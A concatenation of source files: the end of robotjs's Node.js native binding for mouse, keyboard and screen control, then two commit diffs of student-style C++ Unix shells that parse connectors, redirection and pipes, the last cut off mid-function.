{
NanScope();
MMPoint pos = getMousePos();
//Return object with .x and .y.
Local<Object> obj = NanNew<Object>();
obj->Set(NanNew<String>("x"), NanNew<Number>(pos.x));
obj->Set(NanNew<String>("y"), NanNew<Number>(pos.y));
NanReturnValue(obj);
}
NAN_METHOD(mouseClick)
{
NanScope();
MMMouseButton button = LEFT_BUTTON;
if (args.Length() == 1)
{
char *b = (*v8::String::Utf8Value(args[0]->ToString()));
if (strcmp(b, "left") == 0)
{
button = LEFT_BUTTON;
}
else if (strcmp(b, "right") == 0)
{
button = RIGHT_BUTTON;
}
else if (strcmp(b, "middle") == 0)
{
button = CENTER_BUTTON;
}
else
{
return NanThrowError("Invalid mouse button specified.");
}
}
else if (args.Length() > 1)
{
return NanThrowError("Invalid number of arguments.");
}
clickMouse(button);
NanReturnValue(NanNew("1"));
}
NAN_METHOD(mouseToggle)
{
NanScope();
MMMouseButton button = LEFT_BUTTON;
bool down;
if (args.Length() > 0)
{
const char *d = (*v8::String::Utf8Value(args[0]->ToString()));
if (strcmp(d, "down") == 0)
{
down = true;;
}
else if (strcmp(d, "up") == 0)
{
down = false;
}
else
{
return NanThrowError("Invalid mouse button state specified.");
}
}
if (args.Length() == 2)
{
char *b = (*v8::String::Utf8Value(args[1]->ToString()));
if (strcmp(b, "left") == 0)
{
button = LEFT_BUTTON;
}
else if (strcmp(b, "right") == 0)
{
button = RIGHT_BUTTON;
}
else if (strcmp(b, "middle") == 0)
{
button = CENTER_BUTTON;
}
else
{
return NanThrowError("Invalid mouse button specified.");
}
}
else if (args.Length() > 2)
{
return NanThrowError("Invalid number of arguments.");
}
toggleMouse(down, button);
NanReturnValue(NanNew("1"));
}
/*
_ __ _ _
| |/ /___ _ _| |__ ___ __ _ _ __ __| |
| ' // _ \ | | | '_ \ / _ \ / _` | '__/ _` |
| . \ __/ |_| | |_) | (_) | (_| | | | (_| |
|_|\_\___|\__, |_.__/ \___/ \__,_|_| \__,_|
|___/
*/
int CheckKeyCodes(char* k, MMKeyCode *key)
{
if (!key) return -1;
if (strcmp(k, "alt") == 0)
{
*key = K_ALT;
}
else if (strcmp(k, "command") == 0)
{
*key = K_META;
}
else if (strcmp(k, "control") == 0)
{
*key = K_CONTROL;
}
else if (strcmp(k, "shift") == 0)
{
*key = K_SHIFT;
}
else if (strcmp(k, "backspace") == 0)
{
*key = K_BACKSPACE;
}
else if (strcmp(k, "enter") == 0)
{
*key = K_RETURN;
}
else if (strcmp(k, "tab") == 0)
{
*key = K_TAB;
}
else if (strcmp(k, "up") == 0)
{
*key = K_UP;
}
else if (strcmp(k, "down") == 0)
{
*key = K_DOWN;
}
else if (strcmp(k, "left") == 0)
{
*key = K_LEFT;
}
else if (strcmp(k, "right") == 0)
{
*key = K_RIGHT;
}
else if (strcmp(k, "escape") == 0)
{
*key = K_ESCAPE;
}
else if (strcmp(k, "delete") == 0)
{
*key = K_DELETE;
}
else if (strcmp(k, "home") == 0)
{
*key = K_HOME;
}
else if (strcmp(k, "end") == 0)
{
*key = K_END;
}
else if (strcmp(k, "pageup") == 0)
{
*key = K_PAGEUP;
}
else if (strcmp(k, "pagedown") == 0)
{
*key = K_PAGEDOWN;
}
else if (strcmp(k, "space") == 0)
{
*key = K_SPACE;
}
else if (strlen(k) == 1)
{
*key = keyCodeForChar(*k);
}
else
{
return -2;
}
return 0;
}
int CheckKeyFlags(char* f, MMKeyFlags* flags)
{
if (!flags) return -1;
if (strcmp(f, "alt") == 0)
{
*flags = MOD_ALT;
}
else if(strcmp(f, "command") == 0)
{
*flags = MOD_META;
}
else if(strcmp(f, "control") == 0)
{
*flags = MOD_CONTROL;
}
else if(strcmp(f, "shift") == 0)
{
*flags = MOD_SHIFT;
}
else if(strcmp(f, "none") == 0)
{
*flags = MOD_NONE;
}
else
{
return -2;
}
return 0;
}
NAN_METHOD(keyTap)
{
NanScope();
MMKeyFlags flags = MOD_NONE;
MMKeyCode key;
char *k;
char *f;
v8::String::Utf8Value fstr(args[1]->ToString());
v8::String::Utf8Value kstr(args[0]->ToString());
k = *kstr;
f = *fstr;
switch (args.Length())
{
case 2:
break;
case 1:
f = NULL;
break;
default:
return NanThrowError("Invalid number of arguments.");
}
if (f)
{
switch(CheckKeyFlags(f, &flags))
{
case -1:
return NanThrowError("Null pointer in key flag.");
break;
case -2:
return NanThrowError("Invalid key flag specified.");
break;
}
}
switch(CheckKeyCodes(k, &key))
{
case -1:
return NanThrowError("Null pointer in key code.");
break;
case -2:
return NanThrowError("Invalid key code specified.");
break;
default:
tapKeyCode(key, flags);
microsleep(10);
}
NanReturnValue(NanNew("1"));
}
NAN_METHOD(keyToggle)
{
NanScope();
MMKeyFlags flags = MOD_NONE;
MMKeyCode key;
char *k;
bool down;
char *f;
v8::String::Utf8Value kstr(args[0]->ToString());
v8::String::Utf8Value fstr(args[2]->ToString());
down = args[1]->BooleanValue();
k = *kstr;
f = *fstr;
switch (args.Length())
{
case 3:
break;
case 2:
f = NULL;
break;
default:
return NanThrowError("Invalid number of arguments.");
}
if (f)
{
switch(CheckKeyFlags(f, &flags))
{
case -1:
return NanThrowError("Null pointer in key flag.");
break;
case -2:
return NanThrowError("Invalid key flag specified.");
break;
}
}
switch(CheckKeyCodes(k, &key))
{
case -1:
return NanThrowError("Null pointer in key code.");
break;
case -2:
return NanThrowError("Invalid key code specified.");
break;
default:
toggleKeyCode(key, down, flags);
microsleep(10);
}
NanReturnValue(NanNew("1"));
}
NAN_METHOD(typeString)
{
NanScope();
char *str;
NanUtf8String string(args[0]);
str = *string;
typeString(str);
NanReturnValue(NanNew("1"));
}
/*
____
/ ___| ___ _ __ ___ ___ _ __
\___ \ / __| '__/ _ \/ _ \ '_ \
___) | (__| | | __/ __/ | | |
|____/ \___|_| \___|\___|_| |_|
*/
NAN_METHOD(getPixelColor)
{
NanScope();
MMBitmapRef bitmap;
MMRGBHex color;
size_t x = args[0]->Int32Value();
size_t y = args[1]->Int32Value();
bitmap = copyMMBitmapFromDisplayInRect(MMRectMake(x, y, 1, 1));
color = MMRGBHexAtPoint(bitmap, 0, 0);
char hex [7];
//Length needs to be 7 because snprintf includes a terminating null.
//Use %06x to pad hex value with leading 0s.
snprintf(hex, 7, "%06x", color);
destroyMMBitmap(bitmap);
NanReturnValue(NanNew(hex));
}
NAN_METHOD(getScreenSize)
{
NanScope();
//Get display size.
MMSize displaySize = getMainDisplaySize();
//Create our return object.
Local<Object> obj = NanNew<Object>();
obj->Set(NanNew<String>("width"), NanNew<Number>(displaySize.width));
obj->Set(NanNew<String>("height"), NanNew<Number>(displaySize.height));
//Return our object with .width and .height.
NanReturnValue(obj);
}
void init(Handle<Object> target)
{
target->Set(NanNew<String>("moveMouse"),
NanNew<FunctionTemplate>(moveMouse)->GetFunction());
target->Set(NanNew<String>("moveMouseSmooth"),
NanNew<FunctionTemplate>(moveMouseSmooth)->GetFunction());
target->Set(NanNew<String>("getMousePos"),
NanNew<FunctionTemplate>(getMousePos)->GetFunction());
target->Set(NanNew<String>("mouseClick"),
NanNew<FunctionTemplate>(mouseClick)->GetFunction());
target->Set(NanNew<String>("mouseToggle"),
NanNew<FunctionTemplate>(mouseToggle)->GetFunction());
target->Set(NanNew<String>("keyTap"),
NanNew<FunctionTemplate>(keyTap)->GetFunction());
target->Set(NanNew<String>("keyToggle"),
NanNew<FunctionTemplate>(keyToggle)->GetFunction());
target->Set(NanNew<String>("typeString"),
NanNew<FunctionTemplate>(typeString)->GetFunction());
target->Set(NanNew<String>("getPixelColor"),
NanNew<FunctionTemplate>(getPixelColor)->GetFunction());
target->Set(NanNew<String>("getScreenSize"),
NanNew<FunctionTemplate>(getScreenSize)->GetFunction());
}
NODE_MODULE(robotjs, init)
<|endoftext|> |
<commit_before>#include <iostream>
#include <unistd.h>
#include <string>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdio.h>
#include <errno.h>
#include <vector>
#include <stdlib.h>
#include <fcntl.h>
#include <pwd.h>
using namespace std;
void parse(char * line, vector<string> & input) {
char * pch;
int find_quote = 0;
pch = strtok (line, " \n");
while (pch!= NULL) {
find_quote = 0;
if (*(pch + strlen(pch) + 1) == '"')
find_quote = 1;
// Ignore after comments
if (*pch == '#')
break;
// Check for && and ||
// Break input up
char * a = strstr(pch, "&&");
char * b = strstr(pch, "||");
char * c = strstr(pch, ";");
char * d = strstr(pch, "<");
char * e = strstr(pch, ">");
char * f = strstr(pch, "|");
// If there are connectors, break up the string
// into parts and add them individually to the vector
if (a!=NULL || b!=NULL || c!=NULL || d!=NULL || e!=NULL || f!=NULL
|| (isdigit(*pch) && pch[1] == '>')) {
while (strlen(pch) != 0 ) {
if (isdigit(pch[0]) && pch[1] == '>') {
string tmp;
int stringlen = 0;
tmp += *pch;
tmp += pch[1];
if (pch[1] == '>' && pch[2] == '>') {
tmp += pch[2];
stringlen = 3;
tmp[3] = '\0';
}
else {
stringlen = 2;
tmp[2] = '\0';
}
input.push_back(tmp);
memmove(pch, pch +stringlen, strlen(pch) - stringlen);
pch[strlen(pch) - stringlen] = '\0';
}
// Checks for && and ||
if ((pch[0] == '&' && pch[1] == '&') ||
(pch[0] == '|' && pch[1] == '|')) {
string tmp;
tmp += *pch;
tmp += *(pch+1);
tmp[2] = '\0';
input.push_back(tmp);
memmove(pch, pch+2, strlen(pch) - 2);
pch[strlen(pch)-2] = '\0';
}
// Check for semicolons
else if (*pch == ';') {
input.push_back(";");
memmove(pch, pch+1, strlen(pch) -1);
pch[strlen(pch)-1] = '\0';
}
// Check for input/output redirectors
else if (*pch == '<' || *pch =='>' || *pch == '|') {
if (*pch == '>' && *(pch+1) == '>') {
input.push_back(">>");
memmove(pch, pch+2, strlen(pch)-2);
pch[strlen(pch)-2] = '\0';
}
else if (*pch == '<' && *(pch+1) == '<' && *(pch+2)=='<') {
input.push_back("<<<");
memmove(pch, pch+3, strlen(pch)-3);
pch[strlen(pch)-3] = '\0';
}
else {
string tmp;
tmp += *pch;
tmp[1] = '\0';
input.push_back(tmp);
memmove(pch, pch+1, strlen(pch)-1);
pch[strlen(pch)-1] = '\0';
}
}
else {
string word;
int numletters = 0;
char z = *pch;
int i = 1;
while ( z!= '\0' && z!= ';' && z!= '|' && z!= '&' && z!= '<' && z!= '>'
&& !(isdigit(z) && pch[i] == '>')) {
word += z;
numletters++;
z = pch[i];
i++;
}
if (numletters!=0)
input.push_back(word);
memmove(pch, pch+numletters, strlen(pch) -numletters);
pch[strlen(pch)-numletters] = '\0';
}
a = strstr(pch, "&&");
b = strstr(pch, "||");
c = strstr(pch, ";");
d = strstr(pch, "<");
e = strstr(pch, ">");
f = strstr(pch, "|");
}
}
// If no connectors, just add to vector
if (*pch != '\0' && *pch != '\n' && *pch != '#') {
input.push_back(pch);
}
if (find_quote == 1)
pch = strtok(NULL, "\"");
else
pch = strtok (NULL, " \n");
}
}
void execute(const vector<string> & input, int start, int end) {
//Call execvp, based on which elements in the string vector to use
char * argv[20];
int i = 0;
for (i = 0; i <= (end - start); i++) {
argv[i] = new char[20];
}
for (i = 0; i < (end-start); i++) {
strcpy(argv[i], input[i+start].c_str());
}
argv[i] = NULL;
int status = execvp(argv[0], argv);
if (status == -1)
perror("execvp");
exit(1);
}
int main() {
vector<string> input;
int status=0;
int savestdin;
if ((savestdin = dup(0)) == -1)
perror("dup");
int savestdout;
if ((savestdout = dup(1)) == -1)
perror("dup");
// Get username
char * usrname;
struct passwd *pass = getpwuid(getuid());
usrname = pass->pw_name;
if (pass == NULL) {
perror ("getpwuid");
exit(1);
}
// Get hostname
char hostname[20];
if (gethostname(hostname, sizeof hostname) ==-1) {
perror("gethostname");
exit(1);
}
// Main loop
while (1) {
//Restore stdin and stdout
if ((dup2(savestdin,0)) == -1)
perror("dup2");
if ((dup2(savestdout,0)) == -1)
perror("dup2");
status = 0;
if (input.size() != 0)
input.clear();
cout << usrname << "@" << hostname <<"$ ";
string string1;
getline(cin, string1);
char * line = new char [string1.length() + 1];
strcpy(line, string1.c_str());
parse(line, input);
//debugging
//cerr << "AFTER PARSING: \n";
//for (int i = 0; i < input.size(); i++)
//cerr << input[i] << endl;
delete line;
if (input.size() == 0)
continue;
for (unsigned int i = 0; i < input.size(); i++) {
if (strcmp(input[i].c_str(), "exit") == 0) exit(0);
}
int pid=fork();
if (pid == -1)
perror ("fork");
int pid2;
if (pid == 0) {
int start = 0;
int end = input.size();
unsigned i;
loop:
end = input.size();
for (i = start; i < input.size(); ) {
//input output redirection
if (input[i] == ">" || input[i] == ">>" || input[i]=="<"
|| input[i] == "<<<" || input[i] == "|"
|| (isdigit(input[i][0]) && input[i][1] == '>')) {
if ((isdigit(input[i][0]) && input[i][1] == '>') || input[i][0] == '>') {
int flags = 0;
int file_no = 1;
flags |= O_CREAT | O_WRONLY;
if ((input[i][0] == '>' && input[i][1] == '>') ||
input[i][2] == '>')
flags |= O_APPEND;
else
flags |= O_TRUNC;
int fdo = open(input[i+1].c_str(), flags, S_IRUSR | S_IWUSR);
if (fdo==-1) {
perror("open");
exit(1);
}
if (isdigit(input[i][0]))
file_no = input[i][0] - '0';
status = close(file_no);
if (status == -1)
perror("close");
if ((dup(fdo)) == -1)
perror("dup");
if ((close(fdo)) == -1)
perror("close");
input.erase(input.begin() + i);
input.erase(input.begin() + i);
if (input[i][0] == '>' || input[i][0] == '<' || input[i][0] == '|'
|| (isdigit(input[i][0]) && input[i][1] == '>'))
continue;
else {
end = i;
break;
}
}
else if (input[i] == "<") {
int fdi = open(input[i+1].c_str(), O_RDONLY, 0);
if (fdi==-1) {
perror("open");
exit(1);
}
status = close(STDIN_FILENO);
if (status == -1)
perror("close");
if ((dup(fdi)) == -1)
perror("dup");
if ((close(fdi)) == -1)
perror("close");
input.erase(input.begin() + i);
input.erase(input.begin() + i);
if (input[i][0] == '>' || input[i][0] == '<' || input[i][0] == '|'
|| (isdigit(input[i][0]) && input[i][1] == '>'))
continue;
else {
end = i;
break;
}
}
else if (input[i] == "<<<") {
int pfd[2];
if ((pipe(pfd)) == -1)
perror("pipe");
char buf[128];
memset(buf, 0, 128);
strcpy(buf, input[i+1].c_str());
buf[strlen(buf)] = '\n';
buf[strlen(buf)+1] = '\0';
if ((write(pfd[1], buf, strlen(buf)) == -1))
perror("write");
if ((dup2(pfd[0], 0)) == -1)
perror("dup2");
close (pfd[1]);
input.erase(input.begin() + i);
input.erase(input.begin() + i);
if (input[i][0] == '>' || input[i][0] == '<' || input[i][0] == '|'
|| (isdigit(input[i][0]) && input[i][1] == '>'))
continue;
else {
end = i;
break;
}
}
else if (input[i] == "|") {
int pfd[2];
if ((pipe(pfd)) == -1)
perror("pipe");
int pid3 = fork();
if (pid3 == -1) {
perror("fork");
exit(1);
}
if (pid3==0) {
if ((dup2(pfd[1], 1)) == -1)
perror("dup2");
if ((close(pfd[0])) == -1)
perror("close");
end = i;
break;
}
else {
if((close(STDIN_FILENO)) == -1)
perror("close");
if ((dup2(pfd[0], 0)) == -1)
perror("dup2");
if ((close(pfd[1])) == -1)
perror("close");
if (-1 == wait(0))
perror("wait");
start = i+1;
goto loop;
}
}
}
else if (input[i] == ";" || input[i] == "&&" || input[i] == "||") {
string connector = input[i];
pid2 = fork();
if (pid2 == -1) {
perror("fork");
exit(1);
}
if (pid2!=0) {
if (-1 == wait(&status))
perror("wait");
if (connector == "&&" && status != 0)
exit(1);
if (connector == "||" && status == 0)
exit(0);
start = i + 1;
goto loop;
}
else {
end = i;
break;
}
}
i++;
}
execute(input, start, end);
}
else {
status = wait(NULL);
if (status == -1)
perror("wait");
}
}
return 0;
}
<commit_msg>updated to use execv and PATH<commit_after>#include <iostream>
#include <unistd.h>
#include <string>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdio.h>
#include <errno.h>
#include <vector>
#include <stdlib.h>
#include <fcntl.h>
#include <pwd.h>
#include <signal.h>
using namespace std;
void parsePath(char * line, vector<string> &pathing) {
char * pch;
pch = strtok(line, ":");
while (pch!=NULL) {
pathing.push_back(pch);
pch = strtok(NULL, ":");
}
}
void parse(char * line, vector<string> & input) {
char * pch;
int find_quote = 0;
pch = strtok (line, " \n");
while (pch!= NULL) {
find_quote = 0;
if (*(pch + strlen(pch) + 1) == '"')
find_quote = 1;
// Ignore after comments
if (*pch == '#')
break;
// Check for && and ||
// Break input up
char * a = strstr(pch, "&&");
char * b = strstr(pch, "||");
char * c = strstr(pch, ";");
char * d = strstr(pch, "<");
char * e = strstr(pch, ">");
char * f = strstr(pch, "|");
// If there are connectors, break up the string
// into parts and add them individually to the vector
if (a!=NULL || b!=NULL || c!=NULL || d!=NULL || e!=NULL || f!=NULL
|| (isdigit(*pch) && pch[1] == '>')) {
while (strlen(pch) != 0 ) {
if (isdigit(pch[0]) && pch[1] == '>') {
string tmp;
int stringlen = 0;
tmp += *pch;
tmp += pch[1];
if (pch[1] == '>' && pch[2] == '>') {
tmp += pch[2];
stringlen = 3;
tmp[3] = '\0';
}
else {
stringlen = 2;
tmp[2] = '\0';
}
input.push_back(tmp);
memmove(pch, pch +stringlen, strlen(pch) - stringlen);
pch[strlen(pch) - stringlen] = '\0';
}
// Checks for && and ||
if ((pch[0] == '&' && pch[1] == '&') ||
(pch[0] == '|' && pch[1] == '|')) {
string tmp;
tmp += *pch;
tmp += *(pch+1);
tmp[2] = '\0';
input.push_back(tmp);
memmove(pch, pch+2, strlen(pch) - 2);
pch[strlen(pch)-2] = '\0';
}
// Check for semicolons
else if (*pch == ';') {
input.push_back(";");
memmove(pch, pch+1, strlen(pch) -1);
pch[strlen(pch)-1] = '\0';
}
// Check for input/output redirectors
else if (*pch == '<' || *pch =='>' || *pch == '|') {
if (*pch == '>' && *(pch+1) == '>') {
input.push_back(">>");
memmove(pch, pch+2, strlen(pch)-2);
pch[strlen(pch)-2] = '\0';
}
else if (*pch == '<' && *(pch+1) == '<' && *(pch+2)=='<') {
input.push_back("<<<");
memmove(pch, pch+3, strlen(pch)-3);
pch[strlen(pch)-3] = '\0';
}
else {
string tmp;
tmp += *pch;
tmp[1] = '\0';
input.push_back(tmp);
memmove(pch, pch+1, strlen(pch)-1);
pch[strlen(pch)-1] = '\0';
}
}
else {
string word;
int numletters = 0;
char z = *pch;
int i = 1;
while ( z!= '\0' && z!= ';' && z!= '|' && z!= '&' && z!= '<' && z!= '>'
&& !(isdigit(z) && pch[i] == '>')) {
word += z;
numletters++;
z = pch[i];
i++;
}
if (numletters!=0)
input.push_back(word);
memmove(pch, pch+numletters, strlen(pch) -numletters);
pch[strlen(pch)-numletters] = '\0';
}
a = strstr(pch, "&&");
b = strstr(pch, "||");
c = strstr(pch, ";");
d = strstr(pch, "<");
e = strstr(pch, ">");
f = strstr(pch, "|");
}
}
// If no connectors, just add to vector
if (*pch != '\0' && *pch != '\n' && *pch != '#') {
input.push_back(pch);
}
if (find_quote == 1)
pch = strtok(NULL, "\"");
else
pch = strtok (NULL, " \n");
}
}
void execute(const vector<string> & input, const vector<string> & pathing,
int start, int end) {
//Call execvp, based on which elements in the string vector to use
char * argv[20];
int i = 0;
int status;
for (i = 0; i <= (end - start); i++) {
argv[i] = new char[20];
}
for (i = 0; i < (end-start); i++) {
strcpy(argv[i], input[i+start].c_str());
}
argv[i] = NULL;
string cmd = argv[0];
for (int j = 0; j < pathing.size(); j++) {
string tmp = pathing[j] + "/" + cmd;
strcpy(argv[0], tmp.c_str());
status = execv(argv[0], argv);
}
if (status == -1)
perror("execv");
exit(1);
}
void printusrhost() {
// Get username
char * usrname;
struct passwd *pass = getpwuid(getuid());
usrname = pass->pw_name;
if (pass == NULL) {
perror ("getpwuid");
exit(1);
}
// Get hostname
char hostname[20];
if (gethostname(hostname, sizeof hostname) ==-1) {
perror("gethostname");
exit(1);
}
cout << usrname << "@" << hostname <<"$ ";
}
void int_handler(int x) {
cout << endl;
printusrhost();
cout.flush();
}
int main() {
signal(SIGINT, int_handler);
int parent = getpid();
cerr << "parent: " << parent << endl;
vector<string> input;
vector<string> pathing;
int status=0;
char *pPath;
pPath = getenv("PATH");
if (pPath == NULL)
perror("PATH");
parsePath(pPath, pathing);
int savestdin;
if ((savestdin = dup(0)) == -1)
perror("dup");
int savestdout;
if ((savestdout = dup(1)) == -1)
perror("dup");
// Main loop
while (1) {
//Restore stdin and stdout
if ((dup2(savestdin,0)) == -1)
perror("dup2");
if ((dup2(savestdout,0)) == -1)
perror("dup2");
printusrhost();
status = 0;
if (input.size() != 0)
input.clear();
string string1;
getline(cin, string1);
char * line = new char [string1.length() + 1];
strcpy(line, string1.c_str());
parse(line, input);
//debugging
//cerr << "AFTER PARSING: \n";
//for (int i = 0; i < input.size(); i++)
//cerr << input[i] << endl;
delete line;
if (input.size() == 0)
continue;
for (unsigned int i = 0; i < input.size(); i++) {
if (strcmp(input[i].c_str(), "exit") == 0) exit(0);
}
int pid=fork();
if (pid == -1)
perror ("fork");
int pid2;
if (pid == 0) {
int start = 0;
int end = input.size();
unsigned i;
loop:
end = input.size();
for (i = start; i < input.size(); ) {
//input output redirection
if (input[i] == ">" || input[i] == ">>" || input[i]=="<"
|| input[i] == "<<<" || input[i] == "|"
|| (isdigit(input[i][0]) && input[i][1] == '>')) {
if ((isdigit(input[i][0]) && input[i][1] == '>') || input[i][0] == '>') {
int flags = 0;
int file_no = 1;
flags |= O_CREAT | O_WRONLY;
if ((input[i][0] == '>' && input[i][1] == '>') ||
input[i][2] == '>')
flags |= O_APPEND;
else
flags |= O_TRUNC;
int fdo = open(input[i+1].c_str(), flags, S_IRUSR | S_IWUSR);
if (fdo==-1) {
perror("open");
exit(1);
}
if (isdigit(input[i][0]))
file_no = input[i][0] - '0';
status = close(file_no);
if (status == -1)
perror("close");
if ((dup(fdo)) == -1)
perror("dup");
if ((close(fdo)) == -1)
perror("close");
input.erase(input.begin() + i);
input.erase(input.begin() + i);
if (input[i][0] == '>' || input[i][0] == '<' || input[i][0] == '|'
|| (isdigit(input[i][0]) && input[i][1] == '>'))
continue;
else {
end = i;
break;
}
}
else if (input[i] == "<") {
int fdi = open(input[i+1].c_str(), O_RDONLY, 0);
if (fdi==-1) {
perror("open");
exit(1);
}
status = close(STDIN_FILENO);
if (status == -1)
perror("close");
if ((dup(fdi)) == -1)
perror("dup");
if ((close(fdi)) == -1)
perror("close");
input.erase(input.begin() + i);
input.erase(input.begin() + i);
if (input[i][0] == '>' || input[i][0] == '<' || input[i][0] == '|'
|| (isdigit(input[i][0]) && input[i][1] == '>'))
continue;
else {
end = i;
break;
}
}
else if (input[i] == "<<<") {
int pfd[2];
if ((pipe(pfd)) == -1)
perror("pipe");
char buf[128];
memset(buf, 0, 128);
strcpy(buf, input[i+1].c_str());
buf[strlen(buf)] = '\n';
buf[strlen(buf)+1] = '\0';
if ((write(pfd[1], buf, strlen(buf)) == -1))
perror("write");
if ((dup2(pfd[0], 0)) == -1)
perror("dup2");
if (close (pfd[1]) == -1)
perror("close");
input.erase(input.begin() + i);
input.erase(input.begin() + i);
if (input[i][0] == '>' || input[i][0] == '<' || input[i][0] == '|'
|| (isdigit(input[i][0]) && input[i][1] == '>'))
continue;
else {
end = i;
break;
}
}
else if (input[i] == "|") {
int pfd[2];
if ((pipe(pfd)) == -1)
perror("pipe");
int pid3 = fork();
if (pid3 == -1) {
perror("fork");
exit(1);
}
if (pid3==0) {
if ((dup2(pfd[1], 1)) == -1)
perror("dup2");
if ((close(pfd[0])) == -1)
perror("close");
end = i;
break;
}
else {
if((close(STDIN_FILENO)) == -1)
perror("close");
if ((dup2(pfd[0], 0)) == -1)
perror("dup2");
if ((close(pfd[1])) == -1)
perror("close");
if (-1 == wait(0))
perror("wait");
start = i+1;
goto loop;
}
}
}
else if (input[i] == ";" || input[i] == "&&" || input[i] == "||") {
string connector = input[i];
pid2 = fork();
if (pid2 == -1) {
perror("fork");
exit(1);
}
if (pid2!=0) {
if (-1 == wait(&status))
perror("wait");
if (connector == "&&" && status != 0)
exit(1);
if (connector == "||" && status == 0)
exit(0);
start = i + 1;
goto loop;
}
else {
end = i;
break;
}
}
i++;
}
execute(input, pathing, start, end);
}
else {
status = wait(NULL);
if (status == -1)
perror("wait");
}
}
return 0;
}
<|endoftext|> |
<commit_before>#include<iostream>
#include<pwd.h>
#include<sstream>
#include<stdio.h>
#include<boost/tokenizer.hpp>
#include<errno.h>
#include<string>
#include<string.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<sys/unistd.h>
using namespace std;
using namespace boost;
typedef tokenizer<char_separator<char> > Tok;
void readCommands(string str);
int conjunct(int n, stringstream& ss, const Tok::iterator &it);
void skipCommand(Tok::iterator &it, Tok &tokens);
void splitString(char** args, stringstream& ss, int n);
int main(){
cout << endl;
string str = "";
struct passwd *pass;
pass = getpwuid(getuid());
char* usrname = pass->pw_name;
char hostname[128];
int success = gethostname(hostname, sizeof hostname);
string userinfo = "";
string username = "";
if(usrname != NULL && success == 0){
username = usrname;
userinfo = username + "@" + hostname;
}
bool notExited = true;
while(notExited){
cout << userinfo << "$ ";
getline(cin, str);
readCommands(str);
}
return 0;
}
void readCommands(string str){
char_separator<char> sep("\" ", ";#|&");
Tok tokens(str, sep);
stringstream ss;
int n = 0;
for(Tok::iterator it = tokens.begin(); it != tokens.end(); it++){
if(*it == ";"){
conjunct(n, ss, it);
n = 0;
it++;
if(it == tokens.end()) break;
}
else if(*it == "&"){
if(conjunct(n, ss, it) == -1){
skipCommand(it, tokens);
}
n = 0;
if(it == tokens.end()) break;
it++;
if(it == tokens.end()) break;
}
else if(*it == "|"){
Tok::iterator copy = it;
copy++;
// Remove this part once we deal with piping
if(copy != tokens.end() && *copy != "|") {
conjunct(0, ss, it);
skipCommand(it, tokens);
}
//======
if(copy != tokens.end() && *copy == "|"){
if(conjunct(n, ss, it) != -1){
skipCommand(it, tokens);
}
}
n = 0;
if(it == tokens.end()) break;
it++;
}
if(*it == "#"){
conjunct(n, ss, it);
return;
}
if(*it != "&" && *it != "|"){
ss << *it;
ss << " ";
n++;
}
}
if(n > 0){
Tok::iterator it = tokens.begin();
conjunct(n, ss, it);
}
}
int conjunct(int n, stringstream& ss, const Tok::iterator &it){
int status;
if(n == 0 && *it != "#"){
cerr << "Bash: syntax error near unexpected token \'" << *it << "\'" << endl;
return -1;
}
else if(n == 0 && *it == "#") return 0;
char** args = new char*[n + 1];
splitString(args, ss, n);
int pid = fork();
if(pid == -1){
perror("There was an error with the fork().");
exit(1);
}
else if(pid == 0){
if(-1 == execvp((const char*) args[0], (char* const*) args)){
perror(args[0]);
exit(3);
}
}
else if(pid > 0){
if(-1 == wait(&status)){
perror("There was an error with wait().");
return -1;
}
if(WIFEXITED(status)){
if(WEXITSTATUS(status) == 3){
delete[] args;
return -1;
}
}
}
delete[] args;
return 0;
}
void skipCommand(Tok::iterator &it, Tok &tokens){
while(it != tokens.end() && *it != ";"){
it++;
}
}
void splitString(char** args, stringstream& ss, int n){
string *str = new string[n];
for(int i = 0; i < n; i++){
ss >> str[i];
args[i] = (char*) str[i].c_str();
}
args[n] = NULL;
char exitC[] = "exit";
if(strcmp(args[0], exitC) == 0){
cout << endl;
exit(0);
}
delete[] str;
}
<commit_msg>Add new perrors<commit_after>#include<iostream>
#include<pwd.h>
#include<sstream>
#include<stdio.h>
#include<boost/tokenizer.hpp>
#include<errno.h>
#include<string>
#include<string.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<sys/unistd.h>
using namespace std;
using namespace boost;
typedef tokenizer<char_separator<char> > Tok;
void readCommands(string str);
int conjunct(int n, stringstream& ss, const Tok::iterator &it);
void skipCommand(Tok::iterator &it, Tok &tokens);
void splitString(char** args, stringstream& ss, int n);
int main(){
cout << endl;
string str = "";
struct passwd *pass;
pass = getpwuid(getuid());
if(pass == NULL){
perror("getpwuid()");
}
char* usrname = pass->pw_name;
char hostname[128];
int success = gethostname(hostname, sizeof hostname);
if(success == -1){
perror("gethostname()");
}
string userinfo = "";
string username = "";
if(usrname != NULL && success == 0){
username = usrname;
userinfo = username + "@" + hostname;
}
bool notExited = true;
while(notExited){
cout << userinfo << "$ ";
getline(cin, str);
readCommands(str);
}
return 0;
}
void readCommands(string str){
char_separator<char> sep("\" ", ";#|&");
Tok tokens(str, sep);
stringstream ss;
int n = 0;
for(Tok::iterator it = tokens.begin(); it != tokens.end(); it++){
if(*it == ";"){
conjunct(n, ss, it);
n = 0;
it++;
if(it == tokens.end()) break;
}
else if(*it == "&"){
if(conjunct(n, ss, it) == -1){
skipCommand(it, tokens);
}
n = 0;
if(it == tokens.end()) break;
it++;
if(it == tokens.end()) break;
}
else if(*it == "|"){
Tok::iterator copy = it;
copy++;
// Remove this part once we deal with piping
if(copy != tokens.end() && *copy != "|") {
conjunct(0, ss, it);
skipCommand(it, tokens);
}
//======
if(copy != tokens.end() && *copy == "|"){
if(conjunct(n, ss, it) != -1){
skipCommand(it, tokens);
}
}
n = 0;
if(it == tokens.end()) break;
it++;
}
if(*it == "#"){
conjunct(n, ss, it);
return;
}
if(*it != "&" && *it != "|"){
ss << *it;
ss << " ";
n++;
}
}
if(n > 0){
Tok::iterator it = tokens.begin();
conjunct(n, ss, it);
}
}
int conjunct(int n, stringstream& ss, const Tok::iterator &it){
int status;
if(n == 0 && *it != "#"){
cerr << "Bash: syntax error near unexpected token \'" << *it << "\'" << endl;
return -1;
}
else if(n == 0 && *it == "#") return 0;
char** args = new char*[n + 1];
splitString(args, ss, n);
int pid = fork();
if(pid == -1){
perror("There was an error with the fork().");
exit(1);
}
else if(pid == 0){
if(-1 == execvp((const char*) args[0], (char* const*) args)){
perror(args[0]);
exit(3);
}
}
else if(pid > 0){
if(-1 == wait(&status)){
perror("There was an error with wait().");
return -1;
}
if(WIFEXITED(status)){
if(WEXITSTATUS(status) == 3){
